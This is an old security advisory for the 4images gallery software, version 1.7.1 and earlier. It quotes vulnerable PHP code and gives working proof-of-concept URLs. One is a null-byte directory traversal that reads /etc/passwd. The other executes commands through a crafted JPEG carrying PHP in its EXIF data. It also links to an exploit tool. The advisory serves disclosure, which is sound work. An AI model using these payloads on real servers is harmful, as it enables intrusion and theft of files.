----------------- 4images <=1.7.1 remote code execution ------------------------ software: site: http://www.4homepages.de/ ------------------------------------------------------------------------ -------- i) vulnerable code in index.php at line 35-54: ... if (isset($HTTP_GET_VARS['template']) || isset($HTTP_POST_VARS['template'])) { $template = (isset($HTTP_GET_VARS['template'])) ? stripslashes(trim($HTTP_GET_VARS['template'])) : stripslashes(trim($HTTP_POST_VARS['template'])); if (!file_exists(TEMPLATE_PATH."/".$template.".".$site_template->template_e xtension)) { $template = ""; } else { $main_template = $template; } } else { $template = ""; } include(ROOT_PATH.'includes/page_header.php'); if (!empty($template)) { $clickstream = "<a href="".$site_sess->url(ROOT_PATH."index.php")."">".$lang['home']."</a >".$config['category_separator'].str_replace("_", " ", ucfirst($template)); $site_template->register_vars("clickstream", $clickstream); $site_template->print_template($site_template->parse_template($main_temp late)); include(ROOT_PATH.'includes/page_footer.php'); } ... poc: http://[target]/[path]/index.php?template=../../../../../../../../../../ ../etc/passwd%00 This is regardless of magic_quotes_gpc settings because we have stripslashes on "template" argument (this is exploitable on PHP 4, because file_exists() function suffers of null char injection...) File comptemt is passed to an eval() in includes/template.php, so it is evaluated as php code. Also we can upload malicious php code through 4images functionalities inside a .jpg file with well crafted EXIF metadata comtempt. Example of remote code execution: http://[target]/[path]/index.php?cmd=ls%0-la&template=../../data/tmp_med ia/suntzu1293.jpg%00 a php exploit tool availiable here: http://retrogod.altervista.org/4images_171_incl_xpl.html ------------------------------------------------------------------------ -------- still a note about: http://secunia.com/advisories/19026/ Secunia wrote: "Input passed to the "template" parameter in "index.php" isn't properly verified, before it is used to include files. This can be exploited to include files having the template file extension (".html") from local resources via directory traversal attacks" and classified it as low risk... this is true on PHP5 but not on PHP4 where you can break the .html extension by a null char ------------------------------------------------------------------------ -------- rgod site: http://retrogod.altervista.org mail: rgod at autistici.org original advisory: http://retrogod.altervista.org/4images_171_adv.html ------------------------------------------------------------------------ --------